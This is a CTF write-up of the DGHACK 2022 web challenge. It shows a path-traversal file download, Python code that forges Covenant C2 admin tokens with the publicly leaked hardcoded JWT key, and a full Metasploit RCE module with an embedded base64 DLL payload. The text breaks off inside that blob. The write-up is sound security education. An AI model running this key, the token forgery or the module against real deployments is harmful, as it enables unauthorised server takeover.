Hello and welcome to this first write-up of the challenges of the DGHACK 2022 edition organized by the General Directorate of Armaments of the Ministry of the Armed Forces.
For this first write-up, I explain to you how I was able to solve the series of web challenges “a hunter who knows how to hunt”.
Let’s go !
DESCRIPTION PART 1
SOC analysts from the Ministry of the Armed Forces noticed suspicious flows coming from internal machines to a company showcase site. However, this site seems completely legitimate.
You have been mandated by the Directorate General of Armaments to carry out the investigation. Find a way to partially regain control of the website to find out how this server plays a role in the threat actor’s infrastructure.
No fuzzing is necessary.
The flag is located on the server where you can learn more about the attacker’s infrastructure.
Part 1: Local File Download
After a quick visit to the site, we quickly find an LFD, for Local File Download, which is in reality just an LFI (Local File Inclusion) in which we recover the result in the form of a direct download.
Clicking on the button redirects to http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=menu_updated_09_11_2022.jpg . We modify the get menu parameter by the path of the file that interests us.
Poc: http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=/etc/passwd
Nothing very complicated then, we included some files that might be interesting ( /etc/passwd , /etc/hosts )
then we jump directly to the web server configuration files in search of a vhost or something of the sort. We tried the Apache2 configuration files, without result, then those of nginx. Bingo! We then obtain the first flag in nginx.conf, as well as valuable information which will be useful to us later.
No vhost here, but a very strange endpoint which redirects requests to a docker container which seems, according to the comments, to be a C2 Covenant.
DESCRIPTION PART 2
Now that you have an idea of the attacker’s infrastructure, you are asked to exploit it.
Take full control of CnC.
No brute force is needed.
The flag is located in the /flag.txt file.
Part 2: Exploiting the Covenant
1. Discovery of the covenant
Okay, let’s get into the hard part. After some research, we have confirmation that it is a covenant:
But the web interface is completely buggy (the resources loaded by the covenant are searched at the root of the site and not on the endpoint). Luckily we learned that Covenant has an API with which we will be able to interact ( here ). The documentation being low in content, I decided to install my own suit locally in order to understand a little how everything works (which I invite you to do).
2. The first flaw: craft your own administrator token
We understand a little about all the functionalities offered by the tool, but nothing that allows us to read the flag.txt file located at the root. As I deepened my research, I came across this article: hunting the hunters , which reminds us of the name of the challenge “a hunter knows how to hunt”. We learn that there was a commit on the covenant github repo in which a developer entered a hard key where it was not supposed to.
To be more precise, a random key is generated during the installation of covenant and is stored in Covenant/Data/appsettings.json
. It allows you to encrypt the jwt tokens (which are used to guarantee authentication when calling the API). This new key is only generated in the case where its current value in the json file is the default value, i.e.:
"JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]",
Only during this famous commit, the developer forgot to reset the default value of the key in the json file, which means that all covenant services resulting from this commit will have the developer’s key.
This omission therefore allows us to know the value of the jwtkey and therefore offers us the possibility of generating our own tokens. We can also test this token and retrieve the list of users by contacting the API.
import jwt
import requests
data = {"JwtKey": "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"}
content = {
"sub": "hackline",
"jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "df34c0a2fd5b408ab4fe0c1ac98d5677",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User"
],
"exp": 1968264576,
"iss": "Covenant",
"aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
print(token)
print requests.get("http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/api/users",
headers={"Content-Type":"application/json",
"Authorization":"Bearer " + token}).text
Small explanation: here we generate a token with a user name and an arbitrary jti (it is not necessary to have a valid user/jti to access the users endpoint).
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoYWNrbGluZSIsImlzcyI6IkNvdmVuYW50IiwianRpIjoiOTI1Zjc0Y2EtZmM4Yy0yN2M2LTI0YmUtNTY2YjExYWI2NTg1IiwiZXhwIjoxOTY4MjY0NTc2LCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6ImRmMzRjMGEyZmQ1YjQwOGFiNGZlMGMxYWM5OGQ1Njc3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlVzZXIiXSwiYXVkIjoiQ292ZW5hbnQifQ.3w7Wgt4NrVn1F5jJZNGh7lbi12eCHBInHr4MSwof40Y
[{"id":"bd0f04cd-8363-4913-acbf-58dcaf173ecf","userName":"ServiceUser","normalizedUserName":"SERVICEUSER","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"S5PFNI5PDUGUKSNQYYORIAVTHXROHUBG","concurrencyStamp":"4a31b76b-3f79-49f0-aea9-615d9cba5899","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0},{"id":"5cff0c3a-cef3-4f94-90c4-ff27816ea063","userName":"DGHACK_ADMIN","normalizedUserName":"DGHACK_ADMIN","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"QCE2U7JRKO36CDQEHDVOI7N4H2LKZK3W","concurrencyStamp":"e6dcb5cd-0cf0-4a0e-a549-d4e12a6d2aac","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0}]
Here we obtain a list of Covenant users, as well as some information about them. Among these users, we notice the DGHACK_ADMIN , which we suspect belongs to the covenant administrator group, which is great because it would allow us to access all the functionalities of the API. So we craft our token:
content = {
"sub": "DGHACK_ADMIN",
"jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "75110aef-589c-4e5c-91e3-865ea8dfb2d6",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User",
"Administrator"
],
"exp": 1968264576,
"iss": "Covenant",
"aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
And that’s it, we have access to all the features of the API!
3. RCE: it gets tough
All this is very nice, but the challenge does not stop there, we need RCE to read the famous flag.txt file at the root of the docker. The hunter-hunting-hunter article addresses the RCE part, but unfortunately it does not provide a script for exploiting the vulnerability and only leaves the reader with a vague idea of the path of the attack. Lazy as I am, I look for a ready-made and functional script to exploit the vulnerability, but I only find this: a metasploit script in Ruby that I will have to make work.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Covenant C2 JWT Remote Code Execution Exploit',
'Description' => %q{
Due to an accidental commit of an ephemeral development application settings file, the secret
value of all JWTs issued by Covenant was locked to a single value across all deployments.
This vulnerability affect all Covenant from March 3rd, 2019 to July 13th, 2020.
},
'Author' => [
'mekhalleh (RAMELLA Sébastien)' # module author (Zeop Entreprise)
],
'References' => [
['URL', 'https://blog.null.farm/hunting-the-hunters'],
],
'DisclosureDate' => '2020-10-27',
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'DefaultOptions' => {
'RPORT' => 7443,
'SSL' => true
},
'Targets' => [
['Automatic (DLL)',
'Platform' => 'windows',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dll,
#'DefaultOptions' => {
# 'PAYLOAD' => 'php/meterpreter/reverse_tcp'
#}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
OptInt.new('C2_RPORT', [true, 'The TCP port for the listener.', 8080])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def aes256_cbc_encrypt(key, data)
key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
iv = SecureRandom.random_bytes(16)
iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)
aes = OpenSSL::Cipher.new('AES-256-CBC')
aes.encrypt
aes.key = key
aes.iv = iv
ciphered = aes.update(data) + aes.final
hmac = OpenSSL::Digest.new('sha256')
signed = OpenSSL::HMAC.digest(hmac, key, ciphered)
return([ciphered, iv, signed])
end
def check_tcp_port(ip, port)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => ip,
'PeerPort' => port,
'Proxies' => datastore['Proxies']
)
rescue ::Rex::ConnectionRefused, Rex::ConnectionError
return false
end
sock.close
return true
end
def create_listener(profile_id)
data = {
'useSSL': false,
'urls': [
"http://#{datastore['RHOSTS']}:#{datastore['C2_RPORT']}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72"
],
'id': 0,
'name': @listener_name,
'bindAddress': "#{datastore['RHOSTS']}",
'bindPort': datastore['C2_RPORT'],
'connectAddresses': [
"#{datastore['RHOSTS']}"
],
'connectPort': datastore['C2_RPORT'],
'profileId': profile_id.to_i,
'listenerTypeId': read_listener_type('HTTP'),
'status': 'Active'
}
response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
return true if response && response.code == 200
false
end
def generate_jwt(username = nil, userid = nil)
secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'
username = Rex::Text.rand_text_alpha(6..8) if username.nil?
userid = random_id if username.nil?
jwt_hdr = {'typ':'JWT', 'alg':'HS256'}
jwt_pld = {
'sub': "#{username}",
'jti': "#{random_id}",
'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier': "#{userid}",
'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': ["User", "Administrator"],
'exp': 1615445546,
'iss': 'Covenant',
'aud': 'Covenant'
}
token_hdr = Base64.urlsafe_encode64(jwt_hdr.to_json.encode('utf-8')).gsub('=', '')
token_pld = Base64.urlsafe_encode64(jwt_pld.to_json.encode('utf-8')).gsub('=', '')
digest_sha256 = OpenSSL::Digest.new('sha256')
signature = Base64.urlsafe_encode64(OpenSSL::HMAC.digest(digest_sha256, secret, "#{token_hdr}.#{token_pld}"))
return "#{token_hdr}.#{token_pld}.#{signature.gsub('=', '')}"
end
def generate_stage0(aes_key, guid)
headers = {}
headers['Cookies'] = "ASPSESSIONID=#{guid}; SESSIONID=1552332971750"
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(aes_key), message)
data = {
'GUID': "#{guid}",
'Type': 0,
'Meta': '',
'IV': Base64.encode64(iv).strip,
'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''),
'HMAC': Base64.encode64(signed).strip
}
begin
cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['C2_RPORT'], {}, false, nil, datastore['Proxies'])
cli.connect
request = cli.request_cgi({
'method' => 'POST',
'uri' => '/en-us/test.html',
'headers' => headers,
'agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'vars_post' => {
'i' => 'a19ea23062db990386a3a478cb89d52e',
'data' => Base64.urlsafe_encode64(data.to_json),
'session' => '75db-99b1-25fe4e9afbe58696-320bea73'
}
})
response = cli.send_recv(request)
cli.close
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error('HTTP connection failed.')
return false
end
end
def generate_transform_payload # TODO
# POC: execute calc
# dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVUQ29yZUFwcCxWZXJzaW9uPXYzLjEBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lAAwBAAdQYXlsb2FkAAAMAQAHUmVsZWFzZQAADAEABzEuMC4wLjAAAAoBAAUxLjAuMAAAAAAAAN8iprQAAU1QAgAAAHQAAAC8JQAAvAcAAAAAAAAAAAAAAQAAABMAAAAnAAAAMCYAADAIAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAUlNEUwPSS4HvSoNOteb1xcYg7swBAAAAL2hvbWUvbWVraGFsbGVoL1Byb2plY3RzL2NvdmVuYW50X3JjZS9QYXlsb2FkL1BheWxvYWQvb2JqL1JlbGVhc2UvbmV0Y29yZWFwcDMuMS9QYXlsb2FkLnBkYgBTSEEyNTYAA9JLge9Kg/515vXFxiDuzN8ipjST